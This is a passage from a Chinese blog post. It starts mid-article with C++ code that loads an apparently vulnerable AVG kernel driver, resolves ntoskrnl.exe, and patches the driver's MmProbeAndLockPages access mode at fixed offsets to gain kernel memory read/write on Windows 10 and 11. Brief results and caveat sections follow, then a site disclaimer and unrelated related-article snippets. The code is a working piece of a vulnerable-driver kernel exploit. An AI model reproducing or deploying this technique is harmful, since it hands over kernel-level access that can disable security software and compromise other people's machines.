        //将对应读写内存 MmProbeAndLockPages(pMdl, 0, IoModifyAccess); 第三个参数改为 IoReadAccess
        uint64_t patchReadAddress = driverBase + READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
        if (!WriteMemory(device_handle, patchReadAddress, &byData, 1))
        {
                Log(L"[-] Failed to Write Memory In Patch Driver 1" << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }

        uint64_t patchWriteAddress = driverBase + WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
        if (!WriteMemory(device_handle, patchWriteAddress, &byData, 1))
        {
                Log(L"[-] Failed to Write Memory In Patch Driver 2" << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }
        Log(L"[+] PatchDriver OK!\r\n");
        return true;
}

HANDLE avg_driver::Load() 
{
     ......
     ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
    if (ntoskrnlAddr == 0) {
        Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
        avg_driver::Unload(result);
        return INVALID_HANDLE_VALUE;
    }
    
    if (!PatchDriver(result)) //不使用PatchDriver Win11上导致读取失败
    {
        Log(L"[-] Failed to Patch Driver" << std::endl);
        avg_driver::Unload(result);
        return INVALID_HANDLE_VALUE;
    }
    
    ......
}

6.运行效果

  • Win 10 x64 22H2

  • Win 11 x64 22621

7. 特别提示

  经过测试发现漏洞驱动加载后就不能卸载了,如果要实现多次加载需要修改相关逻辑,具体就不详述了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1097084.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

再玩玩B端搭建

一、背景 在 B 端领域深耕多年&#xff0c;接触了成百上千的 B 端页面&#xff0c;发现对于 B 端产品需求和 C 端有着明显的差异&#xff0c;B端产品一般是基于现有的“业务”形态&#xff0c;将传统线下工作&#xff0c;通过程序化、系统化、信息化转换为线上产品&#xff0c…

网络安全工程师的入门学习的路径

网络安全工程师的入门学习的路径 最近看到网上有很多人在问诸如&#xff1a;“怎样成为网络信息安全工程师”等相关问题&#xff0c;这可能与近几年网络安全事件频发&#xff0c;国家对于互联网信息安全和互联网舆情的重视程度不断提升有关&#xff0c;网络信息安全工程师随之…

【Linux学习笔记】调试工具gdb

1. gdb2. debug和release的认识3. gdb命令 1. gdb gdb是Linux下的一个调试工具&#xff0c;主要内容是利用命令行来调试代码&#xff0c;下面我将以vs2019的调试操作逐一对应到gdb的调试命令。 首先我是在xshell连接远端云服务器搭配Linux环境来使用gdb的&#xff0c;第一步要…

vue 和 后端交互

1.前端的路径请求是&#xff08;请求参数&#xff1a;key和value&#xff09;&#xff1a; this.$http.delete("http://localhost:8080/user/delete?id"id).then(res>{ 后端是接收前端参数 DeleteMapping("/delete")public String delete(Integer id)…

4.1 网络层提供的两种服务

思维导图&#xff1a; ## 第4章 网络层 ### 概述 网络层主要关注网络互连问题&#xff0c;其中重点是网际协议(IP)。掌握了IP协议的内容&#xff0c;我们就能理解互联网的工作机制。本章还涉及了ICMP、路由选择协议、IPv6特点、IP多播概念&#xff0c;以及VPN、NAT和MPLS。 #…

正点原子嵌入式linux驱动开发——字符设备驱动开发

经过之前这么多篇笔记的学习&#xff0c;Ubuntu操作系统以及完整的Linux系统移植&#xff0c;已经初步掌握了开发板系统搭建的过程&#xff0c;在STM32MP157上搭建了自己的简单开发系统&#xff0c;从这一篇笔记开始就可以证实Linux驱动开发的学习了&#xff01;之后的正点原子…

VBA之正则表达式(43)-- 从网页中提取指定数据

实例需求&#xff1a;由网页中提取下图中颜色标记部分内容&#xff0c;网页中其他部分与此三行格式相同。 方法1 Sub Demo()Dim objRegex As ObjectDim inputString As StringDim objMatches As ObjectDim objMatch As ObjectSet objRegex CreateObject("VBScript.RegEx…

Drecom 的《Eternal Crypt - Wizardry BC -》加入 The Sandbox 啦!

经典 “Wizardry” 游戏系列的新区块链迭代将通过全球合作拓展 Web3 游戏宇宙。 我们非常高兴地宣布&#xff0c;沙盒游戏公司与富有远见的传奇游戏《Wizardry》系列创造者 Drecom 将建立充满活力的合作伙伴关系。我们将共同推出《Eternal Crypt - Wizardry BC -》&#xff0c…

260. 只出现一次的数字 III (中等,位运算)

还是不会做&#xff0c;思路来自官解 对于整个数组按异或求和&#xff0c;可以得到只出现一次的两个数的异或值&#xff0c;通过这个值我们可以知道这两个数哪一位是相同的&#xff0c;哪一位是不同的假设这两个数字最低的不同发生在第 l 位&#xff08;因为两个数字不同&…

网络安全 - 一名合格的Web安全工程师之成长路径

最近经常听到公司的招聘专员反馈应聘者简历“水分”太大&#xff0c;尤其是技术岗位&#xff0c;例如Web安全工程师&#xff0c;明明是初级阶段的菜鸟&#xff0c;就敢写资深Web安全工程师&#xff1b;在几个项目做一些基础打杂的工作&#xff0c;就敢写带过团队&#xff0c;项…

强制禁止,线程池不允许使用Executors创建

目录 一、线程池二、线程池不允许使用Executors创建三、这是为什么呢&#xff1f;四、下面通过一段代码&#xff0c;测试一下。五、线程池参数 大家好&#xff0c;我是哪吒。 一、线程池 在程序开发中&#xff0c;高并发场景越来越多&#xff0c;线程池首当其冲。 简单回顾一…

LVGL_基础控件线条line

LVGL_基础控件线条line 1、创建基础空间line&#xff08;只创建出来是没有东西显示的&#xff09; /* 创建一个 line 组件(对象)&#xff0c;他的父对象是活动屏幕对象 */ lv_obj_t * line lv_line_create(lv_scr_act());2、添加点&#xff0c;把这些点连成线 /* 设置一组…

文件路径操作

避开-转义字符 python文件路径导致的错误常常与“\”有关&#xff0c;因为在路径中的“\”常会被误认为转义字符。 所以在上述路径中&#xff0c;\table\name\rain中的\t,\n,\r都易被识别为转义字符。 解决的办法主要由以下三种&#xff1a; #1 前面加r表示不转义 pathr&quo…

南美厄瓜多尔市场最全分析开发攻略,收藏一篇就够了

2023年5月11日&#xff0c;中厄自由贸易协定签署&#xff0c;不仅标志着中国加强与拉美地区的经济合作&#xff0c;也为外贸人拓展市场提供了巨大的机会。厄瓜多尔是一个具有潜力的市场&#xff0c;其年轻的消费群体和较高的互联网普及率为外贸人提供了广阔的发展空间。今天来分…

网络安全工程师需要学什么?零基础怎么从入门到精通,看这一篇就够了

网络安全工程师需要学什么&#xff1f;零基础怎么从入门到精通&#xff0c;看这一篇就够了 我发现关于网络安全的学习路线网上有非常多看似高大上却无任何参考意义的回答。大多数的路线都是给了一个大概的框架&#xff0c;告诉你那些东西要考&#xff0c;以及建议了一个学习顺…

超高度近视+白内障,爱尔眼科周进院长助患者视界“焕新”

57岁的徐女士自幼就是高度近视并开始戴眼镜&#xff0c;且近视度数逐年增加&#xff0c;很快便发展成了2000多度的超高度近视&#xff0c;最终在爱尔眼科四川眼科周进院长的帮助下&#xff0c;一次手术同时解决了高度近视和白内障的问题&#xff0c;视力得以改善&#xff0c;50…

Notepad ++ 零基础入门到精通安装与配置教程(非常详细)

Notepad 获取与安装 —————————— Notepad 是什么 在运行中输入 notepad 会弹出来记事本&#xff1a; 所以 Notepad 就是增强的记事本&#xff01;这个跟 C 与 C 的名字是一样滴&#xff01; Notepad 是 Windows 操作系统下的一套文本编辑器 软件版权许可证 GPL有…

css 左右滚轮无缝衔接

最近的项目有做到一个功能 类似跑马灯或者公告栏那种 有文字 也有列表的 所以 写了两种 第一种公告栏文字是用的js 第二种图文类型是用的css 两种方法 记录一下 第一种 纯文字滚动 其实也是根据js去计算dom的宽度 通过js去给css赋值 <div class"div1"><div …

Python抽奖系统-----控制台显示

以下是一个 Python 抽奖系统&#xff0c;其中包含更多的功能&#xff0c;如添加参与者、多轮抽奖、保存获奖者名单等&#xff1a; import random import osdef load_participants():try:with open("participants.txt", "r") as file:participants file.r…

Makefile——Linux下C/C++编译方法

目录 1. C1.1 编译C1.2 创建静态库1.3 创建动态库 2. C3. Makefile3.1 变量3.2 常用函数3.3 makefile编译文件 1. C linux下常见的C语言项目相关的文件如下图所示。 1.1 编译C 通常使用GCC来编译C文件。编译过程为源文件.c文件 -> 预编译成.i文件 -> 编译成汇编语言.…